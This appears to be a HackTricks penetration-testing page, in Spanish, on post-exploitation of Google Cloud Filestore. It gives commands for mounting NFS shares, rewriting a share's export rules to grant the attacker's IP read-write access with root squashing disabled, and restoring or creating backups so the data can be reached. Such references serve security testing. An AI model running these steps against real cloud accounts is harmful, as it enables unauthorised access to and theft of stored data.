GCP - Filestore Post Exploitation

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Filestore

Para obtener más información sobre Filestore, consulta:

Montar Filestore

Un sistema de archivos compartido puede contener información sensible interesante desde la perspectiva de un atacante. Con acceso a Filestore es posible montarlo:

sudo apt-get update
sudo apt-get install nfs-common
# Check the share name
showmount -e <IP>
# Mount the share
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs

Para encontrar la dirección IP de una instancia de filestore, consulte la sección de enumeración de la página:

Eliminar restricciones y obtener permisos adicionales

Si el atacante no se encuentra en una dirección IP con acceso sobre el recurso compartido, pero tiene suficientes permisos para modificarlo, es posible eliminar las restricciones o el acceso sobre él. También es posible otorgar más privilegios sobre su dirección IP para tener acceso de administrador sobre el recurso compartido:

gcloud filestore instances update nfstest \
--zone=<exact-zone> \
--flags-file=nfs.json

# Contents of nfs.json
{
"--file-share":
{
"capacity": "1024",
"name": "<share-name>",
"nfs-export-options": [
{
"access-mode": "READ_WRITE",
"ip-ranges": [
"<your-ip-private-address>/32"
],
"squash-mode": "NO_ROOT_SQUASH",
"anon_uid": 1003,
"anon_gid": 1003
}
]
}
}

Restaurar una copia de seguridad

Si hay una copia de seguridad, es posible restaurarla en una instancia existente o en una nueva para que su información sea accesible:

# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \
--zone=<zone> \
--tier=STANDARD \
--file-share=name=vol1,capacity=1TB \
--network=name=default,reserved-ip-range=10.0.0.0/29

# Restore a backups in a new instance
gcloud filestore instances restore <new-instance-name> \
--zone=<zone> \
--file-share=<instance-file-share-name> \
--source-backup=<backup-name> \
--source-backup-region=<backup-region>

# Follow the previous section commands to mount it

Crear una copia de seguridad y restaurarla

Si no tienes acceso a un recurso compartido y no quieres modificarlo, es posible crear una copia de seguridad y restaurarla como se mencionó anteriormente:

# Create share backup
gcloud filestore backups create <back-name> \
--region=<region> \
--instance=<instance-name> \
--instance-zone=<instance-zone> \
--file-share=<share-name>

# Follow the previous section commands to restore it and mount it
Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

Última actualización